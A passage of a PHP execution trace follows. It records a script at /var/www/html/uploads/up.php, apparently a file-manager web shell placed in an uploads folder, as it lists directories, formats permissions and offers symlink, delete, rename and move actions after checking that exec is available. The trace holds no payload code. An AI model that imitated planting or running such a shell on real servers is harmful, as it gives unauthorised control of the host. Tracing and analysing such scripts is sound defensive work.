4		A						/var/www/html/uploads/up.php	995	$other .= 'x'
4	243	1	0.013460	801584
4	243	R			'drwxrwxrwx'
4	244	0	0.013474	801584	html	1		/var/www/html/uploads/up.php	1315	1	'drwxrwxrwx'
5	245	0	0.013486	801584	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	245	1	0.013502	801856
5	245	R			'drwxrwxrwx'
4	244	1	0.013515	801744
4	244	R			'drwxrwxrwx'
4	246	0	0.013530	801544	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	246	1	0.013560	801608
4	246	R			TRUE
4	247	0	0.013574	801544	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	247	1	0.013602	801608
4	247	R			TRUE
4	248	0	0.013616	801640	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/.'
5	249	0	0.013629	801640	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/.'	2	'ISO-8859-1'
5	249	1	0.013644	801912
5	249	R			'/var/www/html/uploads/.'
4	248	1	0.013659	801800
4	248	R			'/var/www/html/uploads/.'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	250	0	0.013685	801544	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	250	1	0.013699	801584
4	250	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	251	0	0.013725	801920	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/.'
4	251	1	0.013738	802000
4	251	R			'/var/www/html/uploads'
4	252	0	0.013752	801968	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	252	1	0.013773	802008
4	252	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
4	253	0	0.013824	801920	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	253	1	0.013837	801960
4	253	R			TRUE
4	254	0	0.013851	801920	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	254	1	0.013867	801952
4	254	R			4
4	255	0	0.013881	802016	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	255	1	0.013896	802304
4	255	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	256	0	0.013912	801984	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	257	0	0.013927	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	257	1	0.013942	802256
5	257	R			'create symlink'
4	256	1	0.013957	802144
4	256	R			'create symlink'
4	258	0	0.013972	801976	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	259	0	0.013985	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	259	1	0.013999	802248
5	259	R			'delete'
4	258	1	0.014013	802136
4	258	R			'delete'
4	260	0	0.014027	801976	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	261	0	0.014039	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	261	1	0.014053	802248
5	261	R			'rename'
4	260	1	0.014067	802136
4	260	R			'rename'
4	262	0	0.014080	801968	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	263	0	0.014093	801968	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	263	1	0.014107	802240
5	263	R			'move'
4	262	1	0.014120	802128
4	262	R			'move'
3		A						/var/www/html/uploads/up.php	1245	$i++
4	264	0	0.014144	801920	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	264	1	0.014215	801952
4	264	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	265	0	0.014256	801920	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	265	1	0.014288	802248
4	265	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	266	0	0.014315	801864	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	266	1	0.014345	802192
4	266	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	267	0	0.014371	801888	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	267	1	0.014401	802216
4	267	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	268	0	0.014427	802112	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	269	0	0.014442	802112	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	269	1	0.014459	802416
5	269	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	268	1	0.014475	802304
4	268	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	270	0	0.014492	801968	urlencode	0		/var/www/html/uploads/up.php	1277	1	'/var/www/html/uploads/..'
4	270	1	0.014504	802064
4	270	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F..'
4	271	0	0.014520	802016	html	1		/var/www/html/uploads/up.php	1277	1	'..'
5	272	0	0.014533	802016	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'..'	2	'ISO-8859-1'
5	272	1	0.014547	802288
5	272	R			'..'
4	271	1	0.014560	802176
4	271	R			'..'
4	273	0	0.014574	801920	human_filesize	1		/var/www/html/uploads/up.php	1300	1	4096
4		A						/var/www/html/uploads/up.php	1148	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/up.php	1150	$n = 0
4		A						/var/www/html/uploads/up.php	1152	$filesize /= 1024
4		A						/var/www/html/uploads/up.php	1153	$n++
5	274	0	0.014633	801920	strpos	0		/var/www/html/uploads/up.php	1156	2	4	'.'
5	274	1	0.014646	801992
5	274	R			FALSE
5	275	0	0.014659	801920	round	0		/var/www/html/uploads/up.php	1156	2	4	3
5	275	1	0.014672	801992
5	275	R			4
4		A						/var/www/html/uploads/up.php	1156	$filesize = 4
5	276	0	0.014696	801920	strpos	0		/var/www/html/uploads/up.php	1158	2	4	'.'
5	276	1	0.014708	802248
5	276	R			FALSE
5	277	0	0.014722	801920	substr	0		/var/www/html/uploads/up.php	1164	3	'kMGTPE'	0	1
5	277	1	0.014735	802016
5	277	R			'k'
4		A						/var/www/html/uploads/up.php	1164	$suffix = 'k'
4	273	1	0.014769	801952
4	273	R			'4 kB'
3		A						/var/www/html/uploads/up.php	1300	$human = ' title="4 kB"'
4	278	0	0.014796	801920	decoct	0		/var/www/html/uploads/up.php	1311	1	16895
4	278	1	0.014809	801992
4	278	R			'40777'
4	279	0	0.014822	801920	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	279	1	0.014835	801960
4	279	R			TRUE
4	280	0	0.014849	801920	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	280	1	0.014861	801920
4	280	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	281	0	0.014884	801920	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	16895
4		A						/var/www/html/uploads/up.php	965	$type = 'd'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= 'x'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= 'w'
4		A						/var/www/html/uploads/up.php	987	$group .= 'x'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= 'w'
4		A						/var/www/html/uploads/up.php	995	$other .= 'x'
4	281	1	0.014998	801960
4	281	R			'drwxrwxrwx'
4	282	0	0.015013	801960	html	1		/var/www/html/uploads/up.php	1315	1	'drwxrwxrwx'
5	283	0	0.015025	801960	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	283	1	0.015040	802232
5	283	R			'drwxrwxrwx'
4	282	1	0.015055	802120
4	282	R			'drwxrwxrwx'
4	284	0	0.015069	801920	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	284	1	0.015099	801984
4	284	R			TRUE
4	285	0	0.015113	801920	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	285	1	0.015140	801984
4	285	R			TRUE
4	286	0	0.015154	802016	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/..'
5	287	0	0.015167	802016	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/..'	2	'ISO-8859-1'
5	287	1	0.015182	802288
5	287	R			'/var/www/html/uploads/..'
4	286	1	0.015197	802176
4	286	R			'/var/www/html/uploads/..'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	288	0	0.015223	801544	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	288	1	0.015236	801584
4	288	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	289	0	0.015261	801920	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/..'
4	289	1	0.015274	802008
4	289	R			'/var/www/html/uploads'
4	290	0	0.015289	801976	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	290	1	0.015305	802016
4	290	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
4	291	0	0.015355	801920	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	291	1	0.015368	801960
4	291	R			TRUE
4	292	0	0.015381	801920	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	292	1	0.015398	801952
4	292	R			4
4	293	0	0.015411	802016	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	293	1	0.015425	802304
4	293	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	294	0	0.015441	801984	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	295	0	0.015455	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	295	1	0.015470	802256
5	295	R			'create symlink'
4	294	1	0.015485	802144
4	294	R			'create symlink'
4	296	0	0.015499	801976	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	297	0	0.015512	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	297	1	0.015526	802248
5	297	R			'delete'
4	296	1	0.015540	802136
4	296	R			'delete'
4	298	0	0.015554	801976	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	299	0	0.015567	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	299	1	0.015582	802248
5	299	R			'rename'
4	298	1	0.015595	802136
4	298	R			'rename'
4	300	0	0.015609	801968	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	301	0	0.015621	801968	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	301	1	0.015635	802240
5	301	R			'move'
4	300	1	0.015648	802128
4	300	R			'move'
3		A						/var/www/html/uploads/up.php	1245	$i++
4	302	0	0.015673	801920	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	302	1	0.015743	801952
4	302	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	303	0	0.015784	801920	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	303	1	0.015815	802248
4	303	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	304	0	0.015842	801864	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	304	1	0.015872	802192
4	304	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	305	0	0.015898	801888	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	305	1	0.015928	802216
4	305	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	306	0	0.015954	802112	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	307	0	0.015968	802112	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	307	1	0.015986	802416
5	307	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	306	1	0.016002	802304
4	306	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	308	0	0.016019	801968	urlencode	0		/var/www/html/uploads/up.php	1277	1	'/var/www/html/uploads/data'
4	308	1	0.016033	802064
4	308	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4	309	0	0.016049	802016	html	1		/var/www/html/uploads/up.php	1277	1	'data'
5	310	0	0.016061	802016	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'data'	2	'ISO-8859-1'
5	310	1	0.016075	802288
5	310	R			'data'
4	309	1	0.016089	802176
4	309	R			'data'
4	311	0	0.016103	801920	human_filesize	1		/var/www/html/uploads/up.php	1300	1	4096
4		A						/var/www/html/uploads/up.php	1148	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/up.php	1150	$n = 0
4		A						/var/www/html/uploads/up.php	1152	$filesize /= 1024
4		A						/var/www/html/uploads/up.php	1153	$n++
5	312	0	0.016163	801920	strpos	0		/var/www/html/uploads/up.php	1156	2	4	'.'
5	312	1	0.016175	801992
5	312	R			FALSE
5	313	0	0.016189	801920	round	0		/var/www/html/uploads/up.php	1156	2	4	3
5	313	1	0.016201	801992
5	313	R			4
4		A						/var/www/html/uploads/up.php	1156	$filesize = 4
5	314	0	0.016224	801920	strpos	0		/var/www/html/uploads/up.php	1158	2	4	'.'
5	314	1	0.016237	802248
5	314	R			FALSE
5	315	0	0.016251	801920	substr	0		/var/www/html/uploads/up.php	1164	3	'kMGTPE'	0	1
5	315	1	0.016264	802016
5	315	R			'k'
4		A						/var/www/html/uploads/up.php	1164	$suffix = 'k'
4	311	1	0.016289	801952
4	311	R			'4 kB'
3		A						/var/www/html/uploads/up.php	1300	$human = ' title="4 kB"'
4	316	0	0.016314	801920	decoct	0		/var/www/html/uploads/up.php	1311	1	16895
4	316	1	0.016327	801992
4	316	R			'40777'
4	317	0	0.016341	801920	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	317	1	0.016354	801960
4	317	R			TRUE
4	318	0	0.016367	801920	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	318	1	0.016379	801920
4	318	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	319	0	0.016402	801920	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	16895
4		A						/var/www/html/uploads/up.php	965	$type = 'd'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= 'x'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= 'w'
4		A						/var/www/html/uploads/up.php	987	$group .= 'x'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= 'w'
4		A						/var/www/html/uploads/up.php	995	$other .= 'x'
4	319	1	0.016515	801960
4	319	R			'drwxrwxrwx'
4	320	0	0.016530	801960	html	1		/var/www/html/uploads/up.php	1315	1	'drwxrwxrwx'
5	321	0	0.016542	801960	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'drwxrwxrwx'	2	'ISO-8859-1'
5	321	1	0.016557	802232
5	321	R			'drwxrwxrwx'
4	320	1	0.016572	802120
4	320	R			'drwxrwxrwx'
4	322	0	0.016586	801920	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	322	1	0.016615	801984
4	322	R			TRUE
4	323	0	0.016629	801920	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	323	1	0.016657	801984
4	323	R			TRUE
4	324	0	0.016672	802016	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/data'
5	325	0	0.016684	802016	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/data'	2	'ISO-8859-1'
5	325	1	0.016700	802288
5	325	R			'/var/www/html/uploads/data'
4	324	1	0.016715	802176
4	324	R			'/var/www/html/uploads/data'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	326	0	0.016740	801544	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	326	1	0.016754	801584
4	326	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	327	0	0.016779	801920	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/data'
4	327	1	0.016791	802008
4	327	R			'/var/www/html/uploads'
4	328	0	0.016805	801976	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	328	1	0.016821	802016
4	328	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
4	329	0	0.016896	801920	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	329	1	0.016914	801960
4	329	R			TRUE
4	330	0	0.016927	801920	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4	330	1	0.016944	801952
4	330	R			4
4	331	0	0.016958	802016	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	331	1	0.016971	802304
4	331	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	332	0	0.016988	801984	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	333	0	0.017002	801984	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	333	1	0.017017	802256
5	333	R			'create symlink'
4	332	1	0.017032	802144
4	332	R			'create symlink'
4	334	0	0.017048	801976	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	335	0	0.017060	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	335	1	0.017075	802248
5	335	R			'delete'
4	334	1	0.017088	802136
4	334	R			'delete'
4	336	0	0.017102	801976	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	337	0	0.017115	801976	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	337	1	0.017129	802248
5	337	R			'rename'
4	336	1	0.017142	802136
4	336	R			'rename'
4	338	0	0.017156	801968	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	339	0	0.017168	801968	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	339	1	0.017182	802240
5	339	R			'move'
4	338	1	0.017195	802128
4	338	R			'move'
3		A						/var/www/html/uploads/up.php	1245	$i++
